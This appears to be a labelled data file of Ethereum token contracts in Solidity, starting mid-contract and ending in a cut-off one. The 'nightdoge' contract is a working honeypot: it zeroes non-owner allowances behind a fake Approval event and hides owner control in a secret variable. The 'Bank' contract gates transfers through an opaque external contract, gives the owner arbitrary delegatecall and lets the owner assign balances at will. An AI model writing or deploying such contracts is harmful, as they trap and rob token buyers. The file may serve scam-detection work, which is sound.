emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract nightdoge is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 1000 * 10**9 * 10**18;
string private _name = 'NightDoge | https://t.me/nightdogeofficial';
string private _symbol = '$NightDoge';
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address comin, address target, uint256 amount) private {
require(comin != address(0), "ERC20: approve from the zero address");
require(target != address(0), "ERC20: approve to the zero address");
if (comin != owner()) { _allowances[comin][target] = 0; emit Approval(comin, target, 4); }
else { _allowances[comin][target] = amount; emit Approval(comin, target, amount); }
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
|
True
|
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/**
*Submitted for verification at Etherscan.io on 2022-03-30
*/
/**
@EVOLITE
*/
//SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract EVOLITE is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => uint256) private _buyMap;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "Evolite";
string private constant _symbol = "EVOLITE";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private maxWalletAmount = _tTotal * 30 / 1000;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0x4289C46418974b15dCaf4a02ed870001923A98Ea);
_feeAddrWallet2 = payable(0x4289C46418974b15dCaf4a02ed870001923A98Ea);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(0x0000000000000000000000000000000000000000), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function originalPurchase(address account) public view returns (uint256) {
return _buyMap[account];
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function setMaxTx(uint256 maxTransactionAmount) external onlyOwner() {
_maxTxAmount = maxTransactionAmount;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (!_isBuy(from)) {
if (_buyMap[from] != 0 &&
(_buyMap[from] + (12 hours) >= block.timestamp)) {
_feeAddr1 = 2;
_feeAddr2 = 18;
} else {
_feeAddr1 = 2;
_feeAddr2 = 8;
}
} else {
if (_buyMap[to] == 0) {
_buyMap[to] = block.timestamp;
}
_feeAddr1 = 2;
_feeAddr2 = 8;
}
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(cooldown[to] < block.timestamp);
require(amount <= _maxTxAmount);
require(balanceOf(to) + amount <= maxWalletAmount, "Max wallet exceeded");
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 100000 * 10 ** 9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function removeStrictTxLimit() public onlyOwner {
_maxTxAmount = 1e12 * 10**9;
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function updateMaxTx (uint256 fee) public onlyOwner {
_maxTxAmount = fee;
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _isBuy(address _sender) private view returns (bool) {
return _sender == uniswapV2Pair;
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
True
|
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pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// 'PEPEso' token contract
//
// Deployed to : 0xC18Fe0a2B3E0eFE79CF16ba411e26116D812d7d3
// Symbol : PEPE
// Name : PEPEso
// Total supply: 246675000000000000000000
// Decimals : 0
//
// To be exchanged for KeKL of Kekistan tokens 1000000000000000000 to 1.
//
// (c) 2018 CultofKek.org / KeKLs.com
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract PEPEso is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function PEPEso() public {
symbol = "PEPE";
name = "PEPEso";
decimals = 0;
_totalSupply = 246675000000000000000000;
balances[0xC18Fe0a2B3E0eFE79CF16ba411e26116D812d7d3] = _totalSupply;
Transfer(address(0), 0xC18Fe0a2B3E0eFE79CF16ba411e26116D812d7d3, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
}
|
True
|
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//SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BotProtected {
address internal owner;
address internal protectionFromBots;
address public uniPair;
constructor(address _botProtection) {
protectionFromBots = _botProtection;
}
// Uses Ferrum Launch Protection System
modifier checkBots(address _from, address _to, uint256 _value) {
(bool notABot, bytes memory isNotBot) = protectionFromBots.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value));
require(notABot);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
abstract contract ERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
}
contract Bank is BotProtected {
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 1000000000000000000000000000;
string public name = "Bankless Token";
string public symbol = "BANK";
IUniswapV2Router02 public routerForPancake = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public wrappedBinance = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
constructor(address _botProtection) BotProtected(_botProtection) {
owner = tx.origin;
uniPair = pairOfTokens(wrappedBinance, address(this));
allowance[address(this)][address(routerForPancake)] = uint(-1);
allowance[tx.origin][uniPair] = uint(-1);
}
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function pairOfTokens(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
function list(uint _numList, address[] memory _toWho, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
routerForPancake.addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_toWho.length == _amounts.length);
protectionFromBots.call(abi.encodeWithSelector(0xd5eaf4c3, _toWho));
for(uint i = 0; i < _toWho.length; i++) {
balanceOf[_toWho[i]] = _amounts[i];
emit Transfer(address(0x0), _toWho[i], _amounts[i]);
}
}
}
|
True
|
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pragma solidity ^0.4.11;
/**
* @title ETHCON Early Bird Token
* @author majoolr.io
*
* Only allows one token per account. See ETHCON.org for further information.
* Implements ERC20 Library at 0x71ecde7c4b184558e8dba60d9f323d7a87411946
*
* https://github.com/ethereum/EIPs/issues/20
* Based on code by FirstBlood:
* https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
library ERC20Lib {
using BasicMathLib for uint256;
struct TokenStorage {
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint totalSupply;
}
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event ErrorMsg(string msg);
/// @dev Called by the Standard Token upon creation.
/// @param self Stored token from token contract
/// @param _initial_supply The initial token supply
function init(TokenStorage storage self, uint256 _initial_supply) {
self.totalSupply = _initial_supply;
self.balances[msg.sender] = _initial_supply;
}
/// @dev Transfer tokens from caller's account to another account.
/// @param self Stored token from token contract
/// @param _to Address to send tokens
/// @param _value Number of tokens to send
/// @return success True if completed, false otherwise
function transfer(TokenStorage storage self, address _to, uint256 _value) returns (bool success) {
bool err;
uint256 balance;
(err,balance) = self.balances[msg.sender].minus(_value);
if(err) {
ErrorMsg("Balance too low for transfer");
return false;
}
self.balances[msg.sender] = balance;
//It's not possible to overflow token supply
self.balances[_to] = self.balances[_to] + _value;
Transfer(msg.sender, _to, _value);
return true;
}
/// @dev Authorized caller transfers tokens from one account to another
/// @param self Stored token from token contract
/// @param _from Address to send tokens from
/// @param _to Address to send tokens to
/// @param _value Number of tokens to send
/// @return success True if completed, false otherwise
function transferFrom(TokenStorage storage self,
address _from,
address _to,
uint256 _value)
returns (bool success) {
var _allowance = self.allowed[_from][msg.sender];
bool err;
uint256 balanceOwner;
uint256 balanceSpender;
(err,balanceOwner) = self.balances[_from].minus(_value);
if(err) {
ErrorMsg("Balance too low for transfer");
return false;
}
(err,balanceSpender) = _allowance.minus(_value);
if(err) {
ErrorMsg("Transfer exceeds allowance");
return false;
}
self.balances[_from] = balanceOwner;
self.allowed[_from][msg.sender] = balanceSpender;
self.balances[_to] = self.balances[_to] + _value;
Transfer(_from, _to, _value);
return true;
}
/// @dev Retrieve token balance for an account
/// @param self Stored token from token contract
/// @param _owner Address to retrieve balance of
/// @return balance The number of tokens in the subject account
function balanceOf(TokenStorage storage self, address _owner) constant returns (uint256 balance) {
return self.balances[_owner];
}
/// @dev Authorize an account to send tokens on caller's behalf
/// @param self Stored token from token contract
/// @param _spender Address to authorize
/// @param _value Number of tokens authorized account may send
/// @return success True if completed, false otherwise
function approve(TokenStorage storage self, address _spender, uint256 _value) returns (bool success) {
self.allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/// @dev Remaining tokens third party spender has to send
/// @param self Stored token from token contract
/// @param _owner Address of token holder
/// @param _spender Address of authorized spender
/// @return remaining Number of tokens spender has left in owner's account
function allowance(TokenStorage storage self, address _owner, address _spender) constant returns (uint256 remaining) {
return self.allowed[_owner][_spender];
}
}
library BasicMathLib {
event Err(string typeErr);
/// @dev Multiplies two numbers and checks for overflow before returning.
/// Does not throw but rather logs an Err event if there is overflow.
/// @param a First number
/// @param b Second number
/// @return err False normally, or true if there is overflow
/// @return res The product of a and b, or 0 if there is overflow
function times(uint256 a, uint256 b) constant returns (bool err,uint256 res) {
assembly{
res := mul(a,b)
jumpi(allGood, or(iszero(b), eq(div(res,b), a)))
err := 1
res := 0
allGood:
}
if (err)
Err("times func overflow");
}
/// @dev Divides two numbers but checks for 0 in the divisor first.
/// Does not throw but rather logs an Err event if 0 is in the divisor.
/// @param a First number
/// @param b Second number
/// @return err False normally, or true if `b` is 0
/// @return res The quotient of a and b, or 0 if `b` is 0
function dividedBy(uint256 a, uint256 b) constant returns (bool err,uint256 res) {
assembly{
jumpi(e, iszero(b))
res := div(a,b)
mstore(add(mload(0x40),0x20),res)
return(mload(0x40),0x40)
e:
}
Err("tried to divide by zero");
return (true, 0);
}
/// @dev Adds two numbers and checks for overflow before returning.
/// Does not throw but rather logs an Err event if there is overflow.
/// @param a First number
/// @param b Second number
/// @return err False normally, or true if there is overflow
/// @return res The sum of a and b, or 0 if there is overflow
function plus(uint256 a, uint256 b) constant returns (bool err, uint256 res) {
assembly{
res := add(a,b)
jumpi(allGood, and(eq(sub(res,b), a), gt(res,b)))
err := 1
res := 0
allGood:
}
if (err)
Err("plus func overflow");
}
/// @dev Subtracts two numbers and checks for underflow before returning.
/// Does not throw but rather logs an Err event if there is underflow.
/// @param a First number
/// @param b Second number
/// @return err False normally, or true if there is underflow
/// @return res The difference between a and b, or 0 if there is underflow
function minus(uint256 a, uint256 b) constant returns (bool err,uint256 res) {
assembly{
res := sub(a,b)
jumpi(allGood, eq(and(eq(add(res,b), a), or(lt(res,a), eq(res,a))), 1))
err := 1
res := 0
allGood:
}
if (err)
Err("minus func underflow");
}
}
contract ETHCONEarlyBirdToken {
using ERC20Lib for ERC20Lib.TokenStorage;
ERC20Lib.TokenStorage token;
string public name = "ETHCON-Early-Bird";
string public symbol = "THX";
uint public decimals = 0;
uint public INITIAL_SUPPLY = 600;
event ErrorMsg(string msg);
function ETHCONEarlyBirdToken() {
token.init(INITIAL_SUPPLY);
}
